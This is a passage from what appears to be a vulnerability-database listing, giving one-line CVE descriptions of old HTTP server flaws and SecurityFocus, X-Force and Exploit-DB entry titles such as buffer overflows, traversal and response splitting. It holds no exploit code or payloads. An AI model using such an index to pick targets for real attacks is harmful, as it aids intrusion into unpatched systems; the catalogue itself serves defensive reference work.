14053| [CVE-2000-0539] Servlet examples in Allaire JRun 2.3.x allow remote attackers to obtain sensitive information, e.g. listing HttpSession ID's via the SessionServlet servlet.
14054| [CVE-2000-0529] Net Tools PKI Server allows remote attackers to cause a denial of service via a long HTTP request.
14055| [CVE-2000-0521] Savant web server allows remote attackers to read source code of CGI scripts via a GET request that does not include the HTTP version number.
14056| [CVE-2000-0505] The Apache 1.3.x HTTP server for Windows platforms allows remote attackers to list directory contents by requesting a URL containing a large number of / characters.
14057| [CVE-2000-0484] Buffer overflow in Small HTTP Server allows remote attackers to cause a denial of service via a long GET request.
14058| [CVE-2000-0470] Allegro RomPager HTTP server allows remote attackers to cause a denial of service via a malformed authentication request.
14059| [CVE-2000-0417] The HTTP administration interface to the Cayman 3220-H DSL router allows remote attackers to cause a denial of service via a long username or password.
14060| [CVE-2000-0398] Buffer overflow in wconsole.dll in Rockliffe MailSite Management Agent allows remote attackers to execute arbitrary commands via a long query_string parameter in the HTTP GET request.
14061| [CVE-2000-0395] Buffer overflow in CProxy 3.3 allows remote users to cause a denial of service via a long HTTP request.
14062| [CVE-2000-0380] The IOS HTTP service in Cisco routers and switches running IOS 11.1 through 12.1 allows remote attackers to cause a denial of service by requesting a URL that contains a %% string.
14063| [CVE-2000-0376] Buffer overflow in the HTTP proxy server for the i-drive Filo software allows remote attackers to execute arbitrary commands via a long HTTP GET request.
14064| [CVE-2000-0359] Buffer overflow in Trivial HTTP (THTTPd) allows remote attackers to cause a denial of service or execute arbitrary commands via a long If-Modified-Since header.
14065| [CVE-2000-0299] Buffer overflow in WebObjects.exe in the WebObjects Developer 4.5 package allows remote attackers to cause a denial of service via an HTTP request with long headers such as Accept.
14066| [CVE-2000-0290] Buffer overflow in Webstar HTTP server allows remote attackers to cause a denial of service via a long GET request.
14067| [CVE-2000-0249] The AIX Fast Response Cache Accelerator (FRCA) allows local users to modify arbitrary files via the configuration capability in the frcactrl program.
14068| [CVE-2000-0243] AnalogX SimpleServer:WWW HTTP server 1.03 allows remote attackers to cause a denial of service via a short GET request to cgi-bin.
14069| [CVE-2000-0189] ColdFusion Server 4.x allows remote attackers to determine the real pathname of the server via an HTTP request to the application.cfm or onrequestend.cfm files.
14070| [CVE-2000-0079] The W3C CERN httpd HTTP server allows remote attackers to determine the real pathnames of some commands via a request for a nonexistent URL.
14071| [CVE-2000-0064] cgiproc CGI script in Nortel Contivity HTTP server allows remote attackers to cause a denial of service via a malformed URL that includes shell metacharacters.
14072| [CVE-2000-0063] cgiproc CGI script in Nortel Contivity HTTP server allows remote attackers to read arbitrary files by specifying the filename in a parameter to the script.
14073| [CVE-2000-0043] Buffer overflow in CamShot WebCam HTTP server allows remote attackers to execute commands via a long GET request.
14074| [CVE-2000-0023] Buffer overflow in Lotus Domino HTTP server allows remote attackers to cause a denial of service via a long URL.
14075| [CVE-2000-0022] Lotus Domino HTTP server does not properly disable anonymous access for the cgi-bin directory.
14076| [CVE-2000-0021] Lotus Domino HTTP server allows remote attackers to determine the real path of the server via a request to a non-existent script in /cgi-bin.
14077| [CVE-2000-0011] Buffer overflow in AnalogX SimpleServer:WWW HTTP server allows remote attackers to execute commands via a long GET request.
14078| [CVE-1999-1547] Oracle Web Listener 2.1 allows remote attackers to bypass access restrictions by replacing a character in the URL with its HTTP-encoded (hex) equivalent.
14079| [CVE-1999-1537] IIS 3.x and 4.x does not distinguish between pages requiring encryption and those that do not, which allows remote attackers to cause a denial of service (resource exhaustion) via SSL requests to the HTTPS port for normally unencrypted files, which will cause IIS to perform extra work to send the files over SSL.
14080| [CVE-1999-1535] Buffer overflow in AspUpload.dll in Persits Software AspUpload before 1.4.0.2 allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long argument in the HTTP request.
14081| [CVE-1999-1533] Eicon Technology Diva LAN ISDN modem allows a remote attacker to cause a denial of service (hang) via a long password argument to the login.htm file in its HTTP service.
14082| [CVE-1999-1527] Internal HTTP server in Sun Netbeans Java IDE in Netbeans Developer 3.0 Beta and Forte Community Edition 1.0 Beta does not properly restrict access to IP addresses as specified in its configuration, which allows arbitrary remote attackers to access the server.
14083| [CVE-1999-1523] Buffer overflow in Sambar Web Server 4.2.1 allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long HTTP GET request.
14084| [CVE-1999-1469] Buffer overflow in w3-auth CGI program in miniSQL package allows remote attackers to execute arbitrary commands via an HTTP request with (1) a long URL, or (2) a long User-Agent MIME header.
14085| [CVE-1999-1457] Buffer overflow in thttpd HTTP server before 2.04-31 allows remote attackers to execute arbitrary commands via a long date string, which is not properly handled by the tdate_parse function.
14086| [CVE-1999-1456] thttpd HTTP server 2.03 and earlier allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename.
14087| [CVE-1999-1417] Format string vulnerability in AnswerBook2 (AB2) web server dwhttpd 3.1a4 allows remote attackers to cause a denial of service and possibly execute arbitrary commands via encoded % characters in an HTTP request, which is improperly logged.
14088| [CVE-1999-1416] AnswerBook2 (AB2) web server dwhttpd 3.1a4 allows remote attackers to cause a denial of service (resource exhaustion) via an HTTP POST request with a large content-length.
14089| [CVE-1999-1412] A possible interaction between Apple MacOS X release 1.0 and Apache HTTP server allows remote attackers to cause a denial of service (crash) via a flood of HTTP GET requests to CGI programs, which generates a large number of processes.
14090| [CVE-1999-1374] perlshop.cgi shopping cart program stores sensitive customer information in directories and files that are under the web root, which allows remote attackers to obtain that information via an HTTP request.
14091| [CVE-1999-1343] HTTP server for Xerox DocuColor 4 LP allows remote attackers to cause a denial of service (hang) via a long URL that contains a large number of . characters.
14092| [CVE-1999-1283] Opera 3.2.1 allows remote attackers to cause a denial of service (application crash) via a URL that contains an extra / in the http:// tag.
14093| [CVE-1999-1264] WebRamp M3 router does not disable remote telnet or HTTP access to itself, even when access has been expliticly disabled.
14094| [CVE-1999-1207] Buffer overflow in web-admin tool in NetXRay 2.6 allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long HTTP request.
14095| [CVE-1999-1178] Sambar Server 4.1 beta allows remote attackers to obtain sensitive information about the server via an HTTP request for the dumpenv.pl script.
14096| [CVE-1999-1175] Web Cache Control Protocol (WCCP) in Cisco Cache Engine for Cisco IOS 11.2 and earlier does not use authentication, which allows remote attackers to redirect HTTP traffic to arbitrary hosts via WCCP packets to UDP port 2048.
14097| [CVE-1999-1124] HTTP Client application in ColdFusion allows remote attackers to bypass access restrictions for web pages on other ports by providing the target page to the mainframeset.cfm application, which requests the page from the server, making it look like the request is coming from the local host.
14098| [CVE-1999-1072] Excite for Web Servers (EWS) 1.1 allows local users to gain privileges by obtaining the encrypted password from the world-readable Architext.conf authentication file and replaying the encrypted password in an HTTP request to AT-generated.cgi or AT-admin.cgi.
14099| [CVE-1999-1068] Oracle Webserver 2.1, when serving PL/SQL stored procedures, allows remote attackers to cause a denial of service via a long HTTP GET request.
14100| [CVE-1999-1030] counter.exe 2.70 allows a remote attacker to cause a denial of service (hang) via an HTTP request that ends in %0A (newline), which causes a malformed entry in the counter log that produces an access violation.
14101| [CVE-1999-1009] The Disney Go Express Search allows remote attackers to access and modify search information for users by connecting to an HTTP server on the user's system.
14102| [CVE-1999-0970] The OmniHTTPD visadmin.exe program allows a remote attacker to conduct a denial of service via a malformed URL which causes a large number of temporary files to be created.
14103| [CVE-1999-0951] Buffer overflow in OmniHTTPd CGI program imagemap.exe allows remote attackers to execute commands.
14104| [CVE-1999-0947] AN-HTTPd provides example CGI scripts test.bat, input.bat, input2.bat, and envout.bat, which allow remote attackers to execute commands via shell metacharacters.
14105| [CVE-1999-0929] Novell NetWare with Novell-HTTP-Server or YAWN web servers allows remote attackers to conduct a denial of service via a large number of HTTP GET requests.
14106| [CVE-1999-0923] Sample runnable code snippets in ColdFusion Server 4.0 allow remote attackers to read files, conduct a denial of service, or use the server as a proxy for other HTTP calls.
14107| [CVE-1999-0867] Denial of service in IIS 4.0 via a flood of HTTP requests with malformed headers.
14108| [CVE-1999-0865] Buffer overflow in CommuniGatePro via a long string to the HTTP configuration port.
14109| [CVE-1999-0854] Ultimate Bulletin Board stores data files in the cgi-bin directory, allowing remote attackers to view the data if an error occurs when the HTTP server attempts to execute the file.
14110| [CVE-1999-0853] Buffer overflow in Netscape Enterprise Server and Netscape FastTrack Server allows remote attackers to gain privileges via the HTTP Basic Authentication procedure.
14111| [CVE-1999-0776] Alibaba HTTP server allows remote attackers to read files via a .. (dot dot) attack.
14112| [CVE-1999-0744] Buffer overflow in Netscape Enterprise Server and FastTrask Server allows remote attackers to gain privileges via a long HTTP GET request.
14113| [CVE-1999-0448] IIS 4.0 and Apache log HTTP request methods, regardless of how long they are, allowing a remote attacker to hide the URL they really request.
14114| [CVE-1999-0437] Remote attackers can perform a denial of service in WebRamp systems by sending a malicious string to the HTTP port.
14115| [CVE-1999-0415] The HTTP server in Cisco 7xx series routers 3.2 through 4.2 is enabled by default, which allows remote attackers to change the router's configuration.
14116| [CVE-1999-0378] InterScan VirusWall for Solaris doesn't scan files for viruses when a single HTTP request includes two GET commands.
14117| [CVE-1999-0267] Buffer overflow in NCSA HTTP daemon v1.3 allows remote command execution.
14118| [CVE-1999-0236] ScriptAlias directory in NCSA and Apache httpd allowed attackers to read CGI programs.
14119| [CVE-1999-0071] Apache httpd cookie buffer overflow for versions 1.1.1 and earlier.
14120|
14121| SecurityFocus - https://www.securityfocus.com/bid/:
14122| [58062] Drupal Varnish HTTP Accelerator Integration Module Cross Site Scripting Vulnerability
14123| [33712] Varnish HTTP Request Parsing Denial of Service Vulnerability
14124|
14125| IBM X-Force - https://exchange.xforce.ibmcloud.com:
14126| [82247] Varnish HTTP Accelerator Integration module for Drupal configuration settings cross-site scripting
14127| [6862] Squid HTTP Accelerator could allow unauthorized port scanning
14128|
14129| Exploit-DB - https://www.exploit-db.com:
14130| [31128] Multiple IEA Software Products HTTP POST Request Denial of Service Vulnerability
14131| [31082] Liferay Enterprise Portal 4.3.6 User-Agent HTTP Header Cross Site Scripting Vulnerability
14132| [31056] HFS HTTP File Server 1.5/2.x Multiple Security Vulnerabilities
14133| [31052] Apache <= 2.2.6 'mod_negotiation' HTML Injection and HTTP Response Splitting Vulnerability
14134| [31039] BitDefender Products Update Server HTTP Daemon Directory Traversal Vulnerability
14135| [30983] ExpressionEngine 1.2.1 HTTP Response Splitting and Cross Site Scripting Vulnerabilities
14136| [30901] Apache HTTP Server 2.2.6 Windows Share PHP File Extension Mapping Information Disclosure Vulnerability
14137| [30894] PeerCast 0.12 HandshakeHTTP Multiple Buffer Overflow Vulnerabilities
14138| [30850] HFS HTTP File Server 2.2/2.3 Arbitrary File Upload Vulnerability
14139| [30835] Apache HTTP Server <= 2.2.4 413 Error HTTP Request Method Cross-Site Scripting Weakness
14140| [30768] IBM WebSphere Application Server 5.1.1 WebContainer HTTP Request Header Security Weakness
14141| [30711] Shttp 0.0.x Remote Directory Traversal Vulnerability
14142| [30322] Lighttpd <= 1.4.15 Multiple Code Execution, Denial of Service and Information Disclosure Vulnerabilities
14143| [30278] SAP DB 7.x Web Server WAHTTP.EXE Multiple Buffer Overflow Vulnerabilities
14144| [30229] SHTTPD 1.38 Filename Parse Error Information Disclosure Vulnerability
14145| [30228] Apple WebCore XMLHTTPRequest Cross-Site Scripting Vulnerability
14146| [30218] BugHunter HTTP Server 1.6.2 Parse Error Information Disclosure Vulnerability
14147| [30130] PHP <= 5.2.3 EXT/Session HTTP Response Header Injection Vulnerability
14148| [29919] TP-Link TL-WR740N / TL-WR740ND - 150M Wireless Lite N Router HTTP DoS
14149| [29849] ToendaCMS 1.5.3 HTTP Get And Post Forms HTML Injection Vulnerability
14150| [29803] Static Http Server 1.0 - Denial of Service (DoS) Exploit
14151| [29739] Apache HTTP Server Tomcat 5.x/6.0.x Directory Traversal Vulnerability
14152| [29503] KarjaSoft Sami HTTP Server 1.0.4/1.0.5/2.0.1 Request Remote Denial of Service Vulnerability
14153| [29348] phpCMS 1.1.7 include/class.http_indexer_phpcms.php PHPCMS_INCLUDEPATH Parameter Remote File Inclusion
14154| [29301] Oracle Portal 9.0.2 Calendar.JSP Multiple HTTP Response Splitting Vulnerabilities
14155| [28845] Shop-Script Multiple HTTP Response Splitting Vulnerabilities
14156| [28837] Novell eDirectory 8.x iMonitor HTTPSTK Buffer Overflow Vulnerability (3)
14157| [28836] Novell eDirectory 8.x iMonitor HTTPSTK Buffer Overflow Vulnerability (2)
14158| [28835] Novell eDirectory 8.x iMonitor HTTPSTK Buffer Overflow Vulnerability (1)
14159| [28713] Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object RCE
14160| [28602] OSU HTTP Server 3.10/3.11 Multiple Information Disclosure Vulnerabilities
14161| [28595] BusyBox 1.01 HTTPD Directory Traversal Vulnerability
14162| [28568] NX5Linkx 1.0 Links.PHP HTTP Response Splitting Vulnerability
14163| [28424] Apache 2.x HTTP Server Arbitrary HTTP Request Headers Security Weakness
14164| [27863] PHPBB 2.0.20 Unauthorized HTTP Proxy Vulnerability
14165| [27852] Symantec Enterprise Firewall / Gateway Security HTTP Proxy Internal IP Leakage Weakness
14166| [27704] Cogent DataHub HTTP Server Buffer Overflow
14167| [27608] Ultra Mini HTTPD Stack Buffer Overflow
14168| [27553] onehttpd 0.7 - Denial of Service
14169| [27241] D-Link DWL-G700AP 2.00/2.01 HTTPD Denial of Service Vulnerability
14170| [27127] PMachine ExpressionEngine 1.4.1 HTTP Referrer HTML Injection Vulnerability
14171| [27115] Rockliffe MailSite 5.3.4/6.1.22/7.0.3 HTTP Mail Management Cross-Site Scripting Vulnerability
14172| [27026] Intel Graphics Accelerator Driver Remote Denial of Service Vulnerability
14173| [26984] IceWarp Universal WebMail /mail/include.html - Crafted HTTP_USER_AGENT Arbitrary File Access
14174| [26967] httprint 202.0 HTTP Response Server Field Overflow DoS
14175| [26966] httprint 202.0 HTTP Response Server Field Arbitrary Script Injection
14176| [26739] Ultra Mini HTTPD 1.21 - Stack Buffer Overflow
14177| [26691] WebCalendar 1.0.1 Layers_Toggle.PHP HTTP Response Splitting Vulnerability
14178| [26534] Revize CMS HTTPTranslatorServlet Cross-Site Scripting Vulnerability
14179| [26520] Static HTTP Server 1.0 - SEH Overflow
14180| [26467] PHP Handicapper Process_signup.PHP HTTP Response Splitting Vulnerability
14181| [26230] Microsoft IIS 5.1 WebDAV HTTP Request Source Code Disclosure Vulnerability
14182| [26198] Astaro Security Linux 6.0 01 HTTP CONNECT Unauthorized Access Weakness
14183| [26156] CPaint 1.3 xmlhttp Request Input Validation Vulnerability
14184| [25933] slimserve httpd 1.0/1.1 - Directory Traversal vulnerability
14185| [25907] ASPNuke 0.80 Language_Select.ASP HTTP Response Splitting Vulnerability
14186| [25842] JBoss 3.x/4.0.2 Malformed HTTP Request Remote Information Disclosure Vulnerability
14187| [25840] osCommerce 2.1/2.2 - Multiple HTTP Response Splitting Vulnerabilities
14188| [25837] Monkey HTTPD 1.1.1 - Crash PoC
14189| [25775] Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow
14190| [25631] Orenosv HTTP/FTP Server 0.8.1 CGISSI.EXE Remote Buffer Overflow Vulnerability
14191| [25629] Orenosv HTTP/FTP Server 0.8.1 FTP Commands Remote Buffer Overflow Vulnerability
14192| [25567] Just William's Amazon Webstore HTTP Response Splitting Vulnerability
14193| [25559] Oracle Application Server 9.0 HTTP Service Mod_Access Restriction Bypass Vulnerability
14194| [25534] SQWebmail 3.x/4.0 HTTP Response Splitting Vulnerability
14195| [25430] PHP-Nuke 7.6 Surveys Module HTTP Response Splitting Vulnerability
14196| [25418] MiniWeb MiniWeb HTTP Server (build 300) - Crash PoC
14197| [25365] AN HTTPD 1.42 Arbitrary Log Content Injection Vulnerability
14198| [25364] AN HTTPD CMDIS.DLL Remote Buffer Overflow Vulnerability
14199| [25258] Phorum 3.x/5.0.x HTTP Response Splitting Vulnerability
14200| [25083] RaidenHTTPD 1.1.27 Remote File Disclosure Vulnerability
14201| [25082] Linksys PSUS4 PrintServer Malformed HTTP POST Request Denial of Service
14202| [25066] WebWasher Classic 2.2/2.3 HTTP CONNECT Unauthorized Access
14203| [24999] Windows Light HTTPD 0.1 - Buffer Overflow
14204| [24980] Yanf 0.4 HTTP Response Buffer Overflow Vulnerability
14205| [24964] Oracle WebCenter Sites Satellite Server - HTTP Header Injection
14206| [24805] MySQL MaxDB 7.5 WAHTTP Server Remote Denial of Service Vulnerability
14207| [24760] ZyXEL 3 Prestige Router HTTP Remote Administration Configuration Reset Vulnerability
14208| [24736] PHPWebSite 0.7.3/0.8.x/0.9.3 User Module HTTP Response Splitting Vulnerability
14209| [24697] Serendipity 0.x Exit.PHP HTTP Response Splitting Vulnerability
14210| [24667] Wordpress 1.2 Wp-login.PHP HTTP Response Splitting Vulnerability
14211| [24665] DCP-Portal 3.7/4.x/5.x Calendar.PHP HTTP Response Splitting Vulnerability
14212| [24651] W-Agora 4.1.6 a subscribe_thread.php HTTP Response Splitting
14213| [24604] Snitz Forums 2000 Down.ASP HTTP Response Splitting Vulnerability
14214| [24598] SnipSnap 0.5.2 HTTP Response Splitting Vulnerability
14215| [24486] Google Chrome Silent HTTP Authentication
14216| [24422] Comersus Cart 5.0 HTTP Response Splitting Vulnerability
14217| [24402] Axis Network Camera 2.x And Video Server 1-3 HTTP Authentication Bypass
14218| [24350] acme thttpd 2.0.7 - Directory Traversal vulnerability
14219| [24147] Orenosv HTTP/FTP Server 0.5.9 HTTP GET Denial of Service Vulnerability (3)
14220| [24146] Orenosv HTTP/FTP Server 0.5.9 HTTP GET Denial of Service Vulnerability (2)
14221| [24145] Orenosv HTTP/FTP Server 0.5.9 HTTP GET Denial of Service Vulnerability (1)
14222| [24129] Omnicron OmniHTTPD 2.x/3.0 Get Request Buffer Overflow Vulnerability
14223| [24119] Microsoft Internet Explorer 5.0.1 http-equiv Meta Tag Denial of Service Vulnerability
14224| [24111] Serva 2.0.0 - HTTP Server GET Remote Denial of Service Vulnerability
14225| [24103] MailEnable Mail Server HTTPMail 1.x Remote Heap Overflow Vulnerability
14226| [24097] MyWeb HTTP Server 3.3 GET Request Buffer Overflow Vulnerability
14227| [24070] Rosiello Security Sphiro HTTPD 0.1 B Remote Heap Buffer Overflow Vulnerability
14228| [23896] MPlayer 0.9/1.0 - Remote HTTP Header Buffer Overflow Vulnerability
14229| [23871] Centrinity FirstClass HTTP Server 5/7 TargetName Parameter Cross-Site Scripting Vulnerability
14230| [23870] PHP-Nuke MS-Analysis Module HTTP Referrer Field SQL Injection Vulnerability
14231| [23837] IBM Lotus Domino 6.5.1 HTTP webadmin.nsf Quick Console Cross-Site Scripting Vulnerability
14232| [23836] IBM Lotus Domino 6/7 HTTP webadmin.nsf Directory Traversal Vulnerability
14233| [23819] Phorum 3.x login.php HTTP_REFERER XSS
14234| [23818] Phorum 3.x register.php HTTP_REFERER XSS
14235| [23758] gweb http server 0.5/0.6 - Directory Traversal vulnerability
14236| [23714] KarjaSoft Sami HTTP Server 1.0.4 GET Request Buffer Overflow Vulnerability
14237| [23686] Monkey HTTP Daemon 0.x Missing Host Field Denial of Service Vulnerability
14238| [23676] MaxWebPortal 1.3x down.asp HTTP_REFERER XSS
14239| [23665] Shaun2k2 Palmhttpd Server 3.0 - Remote Denial of Service Vulnerability
14240| [23614] Loom Software SurfNow 1.x/2.x Remote HTTP GET Request Denial of Service Vulnerability
14241| [23593] Oracle HTTP Server 8.1.7/9.0.1/9.2 isqlplus Cross-Site Scripting Vulnerability
14242| [23585] Finjan SurfinGate 6.0/7.0 FHTTP Restart Command Execution Vulnerability
14243| [23584] McAfee ePolicy Orchestrator 1.x/2.x/3.0 Agent HTTP POST Buffer Mismanagement Vulnerability
14244| [23582] Acme thttpd 1.9/2.0.x CGI Test Script Cross-Site Scripting Vulnerability
14245| [23564] Mephistoles HTTPD 0.6 Cross-Site Scripting Vulnerability
14246| [23480] Surfboard httpd 1.1.9 - Remote Buffer Overflow Vulnerability
14247| [23417] EZMeeting 3.x EZNet.EXE Long HTTP Request Remote Buffer Overflow Vulnerability
14248| [23397] Monit 1.4/2.x/3/4 Overly Long HTTP Request Buffer Overrun Vulnerability
14249| [23326] http commander 4.0 - Directory Traversal vulnerability
14250| [23325] BRS WebWeaver 1.06 httpd `User-Agent` Remote Denial of Service Vulnerability
14251| [23310] TelCondex SimpleWebserver 2.12.30210 build 3285 HTTP Referer Remote Buffer Overflow Vulnerability
14252| [23309] Centrinity FirstClass 7.1 HTTP Server Directory Disclosure Vulnerability
14253| [23306] thttpd 2.2x defang Remote Buffer Overflow Vulnerability (2)
14254| [23305] thttpd 2.2x defang Remote Buffer Overflow Vulnerability (1)
14255| [23295] SH-HTTPD 0.3/0.4 Character Filtering Remote Information Disclosure Vulnerability
14256| [23257] Bajie HTTP Server 0.95 Example Scripts And Servlets Cross-Site Scripting Vulnerability
14257| [23245] Apache Tomcat 4.0.x Non-HTTP Request Denial of Service Vulnerability
14258| [23234] Centrinity FirstClass 5.50/5.77/7.0/7.1 - HTTP Server Long Version Field Denial of Service Vulnerability
14259| [23188] Athttpd 0.4 b Remote GET Request Buffer Overrun Vulnerability
14260| [23181] NullLogic Null HTTPd 0.5 - Remote Denial of Service Vulnerability
14261| [23176] NullLogic Null HTTPd 0.5.1 Error Page Long HTTP Request Cross-Site Scripting Vulnerablity
14262| [23174] TCLHttpd 3.4.2 - Multiple Cross-Site Scripting Vulnerabilities
14263| [23173] TCLhttpd 3.4.2 Directory Listing Disclosure Vulnerability
14264| [23144] minihttp file-sharing for net 1.5 - Directory Traversal vulnerability
14265| [23142] WideChapter 3.0 HTTP Request Buffer Overflow Vulnerability
14266| [23137] CacheFlow CacheOS 4.1.10016 HTTP HOST Proxy Vulnerability
14267| [23121] Kukol E.V. HTTP & FTP Server Suite 6.2 File Disclosure Vulnerability
14268| [23050] Avant Browser 8.0.2 Long HTTP Request Buffer Overflow Vulnerability
14269| [23037] DWebPro 3.4.1 Http.ini Plaintext Password Storage Vulnerability
14270| [22962] Cisco Aironet AP1x00 Malformed HTTP GET Denial of Service Vulnerability
14271| [22909] NetSuite 1.0/1.2 HTTP Server Directory Traversal Vulnerability
14272| [22902] lighttpd 1.4.31 Denial of Service PoC
14273| [22892] Mabry Software HTTPServer/X 1.0 0.047 File Disclosure Vulnerability
14274| [22876] Canon GP300 Remote Malformed HTTP Get Denial of Service Vulnerability
14275| [22795] MiniHTTPServer WebForums Server 1.x/2.0 - Remote Directory Traversal Vulnerability
14276| [22786] Dune 0.6.7 HTTP Get Remote Buffer Overrun Vulnerability
14277| [22785] MyServer 0.4.1/0.4.2 HTTP Server Directory Traversal Vulnerability
14278| [22784] Microsoft Internet Explorer 5 Custom HTTP Error HTML Injection Vulnerability
14279| [22749] Novell Netware 6.0,eDirectory 8.7 HTTPSTK.NLM Remote Abend Vulnerability
14280| [22723] MegaBrowser 0.3 HTTP Directory Traversal File Disclosure Vulnerability
14281| [22701] MyServer 0.5 HTTP GET Argument Buffer Overflow Vulnerability
14282| [22700] MyServer 0.4.3 HTTP GET Argument Buffer Overflow Vulnerability
14283| [22626] Axis Network Camera 2.x HTTP Authentication Bypass Vulnerability
14284| [22610] Snowblind Web Server 1.0/1.1 HTTP GET Request Buffer Overflow Vulnerability
14285| [22608] Snowblind Web Server 1.0/1.1 Malformed HTTP Request Denial of Service Vulnerability
14286| [22556] MDG Web Server 4D 3.6 HTTP Command Buffer Overflow Vulnerability
14287| [22553] Microsoft BizTalk Server 2002 HTTP Receiver Buffer Overflow Vulnerability
14288| [22515] AN HTTPD 1.x Count.pl Directory Traversal Vulnerability
14289| [22460] Abyss Web Server 1.1.2 Incomplete HTTP Request Denial of Service Vulnerability
14290| [22433] Monkey HTTP Daemon 0.4/0.5/0.6 Excessive POST Data Buffer Overflow Vulnerability
14291| [22296] Axis Communications HTTP Server 2.x Messages Information Disclosure Vulnerability
14292| [22230] Netscape Enterprise Server 4.1 HTTP Method Name Buffer Overflow Vulnerability
14293| [22207] 3ware Disk Managment 1.10 Malformed HTTP Request DoS Vulnerability
14294| [22130] AN HTTPD 1.41 e Cross Site Scripting Vulnerability
14295| [22117] iCal 3.7 Malformed HTTP Request Denial of Service Vulnerability
14296| [22106] CUPS 1.1.x Negative Length HTTP Header Vulnerability
14297| [22064] zeroo http server 1.5 - Directory Traversal vulnerability (2)
14298| [22063] zeroo http server 1.5 - Directory Traversal vulnerability (1)
14299| [22059] Pserv 2.0 HTTP Request Parsing Buffer Overflow
14300| [22058] Pserv 2.0 User-Agent HTTP Header Buffer Overflow Vulnerability (2)
14301| [22057] Pserv 2.0 User-Agent HTTP Header Buffer Overflow Vulnerability (1)
14302| [22056] Pserv 2.0 - HTTP Version Specifier Buffer Overflow Vulnerability
14303| [22046] Null HTTPD 0.5 - Remote Heap Corruption Vulnerability
14304| [22021] Lonerunner Zeroo HTTP Server 1.5 - Remote Buffer Overflow Vulnerability
14305| [22016] LibHTTPD 1.2 POST Buffer Overflow Vulnerability
14306| [22013] Light HTTPD 0.1 GET Request Buffer Overflow Vulnerability (2)
14307| [22012] Light HTTPD 0.1 GET Request Buffer Overflow Vulnerability (1)
14308| [22009] EZ Systems HTTPBench 1.1 Information Disclosure Vulnerability
14309| [21981] Monkey HTTP Server 0.4/0.5 Invalid POST Request Denial of Service Vulnerability
14310| [21978] Linksys WAP11 1.3/1.4,D-Link DI-804 4.68/Dl-704 2.56 b5 Embedded HTTP Server DoS Vulnerability
14311| [21955] AN HTTPD 1.38/1.39/1.40/1.41 Malformed SOCKS4 Request Buffer Overflow Vulnerability
14312| [21948] IBM Websphere Edge Server 3.69/4.0 HTTP Header Injection Vulnerability
14313| [21944] Cisco CatOS 5.x/6.1/7.3/7.4 CiscoView HTTP Server Buffer Overflow Vulnerability
14314| [21937] ghttpd 1.4.x Log() Function Buffer Overflow Vulnerability
14315| [21936] ATP httpd 0.4 Single Byte Buffer Overflow Vulnerability
14316| [21880] Monkey HTTP Server 0.1/0.4/0.5 - Multiple Cross Site Scripting Vulnerabilities
14317| [21857] Monkey HTTP Server 0.1.4 File Disclosure Vulnerability
14318| [21818] Null HTTPd 0.5 - Remote Heap Overflow Vulnerability
14319| [21767] NullLogic Null HTTPd 0.5 Error Page Cross-Site Scripting Vulnerability
14320| [21757] OmniHTTPD 1.1/2.0.x/2.4 Sample Application URL Encoded Newline HTML Injection
14321| [21754] OmniHTTPd 1.1/2.0.x/2.4 test.shtml Sample Application XSS
14322| [21753] OmniHTTPd 1.1/2.0.x/2.4 test.php Sample Application XSS
14323| [21731] Novell NetWare 5.1/6.0 HTTP Post Arbitrary Perl Code Execution Vulnerability
14324| [21710] MyWebServer 1.0.2 Long HTTP Request HTML Injection Vulnerability
14325| [21704] W3C CERN httpd 3.0 Proxy Cross-Site Scripting Vulnerability
14326| [21678] Inso DynaWeb httpd 3.1/4.0.2/4.1 Format String Vulnerability
14327| [21656] Lucent Access Point 300/600/1500 IP Services Router Long HTTP Request DoS
14328| [21654] IPSwitch IMail 6.x/7.0/7.1 Web Messaging HTTP Get Buffer Overflow Vulnerability
14329| [21614] ATPhttpd 0.4 b Buffer Overflow Vulnerabilities
14330| [21611] Summit Computer Networks Lil' HTTP Server 2.1/2.2 pbcgi.cgi Cross Site Scripting
14331| [21581] Summit Computer Networks Lil' HTTP Server 2 URLCount.CGI HTML Injection Vulnerability
14332| [21441] Cisco ATA-186 HTTP Device Configuration Disclosure Vulnerability
14333| [21422] ACME Labs thttpd 2.20 Cross-Site Scripting Vulnerability
14334| [21413] National Instruments LabVIEW 5.1.1/6.0/6.1 HTTP Request Denial of Service Vulnerability
14335| [21372] Microsoft IIS 4/5 HTTP Error Page Cross Site Scripting Vulnerability
14336| [21311] BPM Studio Pro 4.2 HTTPD Directory Traversal Vulnerability
14337| [21243] Alteon AceDirector Half-Closed HTTP Request IP Address Revealing Vulnerabililty
14338| [21214] SapporoWorks Black JumboDog 2.6.4/2.6.5 HTTP Proxy Buffer Overflow Vulnerability
14339| [21202] Anti-Web HTTPD 2.2 Script Engine File Opening Denial of Service Vulnerability
14340| [21145] IBM HTTP Server 1.3.x Source Code Disclosure Vulnerability
14341| [21141] Red Hat TUX 2.1 .0-2 HTTP Server Oversized Host Denial of Service Vulnerability
14342| [21050] NCSA httpd 1.x Buffer Overflow Vulnerability (2)
14343| [21049] NCSA httpd 1.x Buffer Overflow Vulnerability (1)
14344| [20978] Cisco IOS 11.x/12.x HTTP Configuration Arbitrary Administrative Access Vulnerability (4)
14345| [20977] Cisco IOS 11.x/12.x HTTP Configuration Arbitrary Administrative Access Vulnerability (3)
14346| [20976] Cisco IOS 11.x/12.x HTTP Configuration Arbitrary Administrative Access Vulnerability (2)
14347| [20975] Cisco IOS 11.x/12.x HTTP Configuration Arbitrary Administrative Access Vulnerability (1)
14348| [20929] ghttpd 1.4 Daemon Buffer Overflow Vulnerability
14349| [20886] Omnicron OmniHTTPD 2.0.4-8 File Source Disclosure Vulnerability
14350| [20847] 3Com OfficeConnect DSL Router 812 1.1.7/840 1.1.7 HTTP Port Router DoS
14351| [20825] michael lamont savant http server 2.1 - Directory Traversal vulnerability
14352| [20728] 602Pro Lan Suite 2000a Long HTTP Request Denial of Service Vulnerability
14353| [20662] WhitSoft SlimServe HTTPD 1.1 Get Denial of Service Vulnerability
14354| [20657] robin twombly a1 http server 1.0 - Directory Traversal vulnerability
14355| [20656] Robin Twombly A1 HTTP Server 1.0 - Denial of Service Vulnerability
14356| [20608] guido frassetto sedum http server 2.0 - Directory Traversal vulnerability
14357| [20595] NCSA 1.3/1.4.x/1.5,Apache httpd 0.8.11/0.8.14 ScriptAlias Source Retrieval Vulnerability
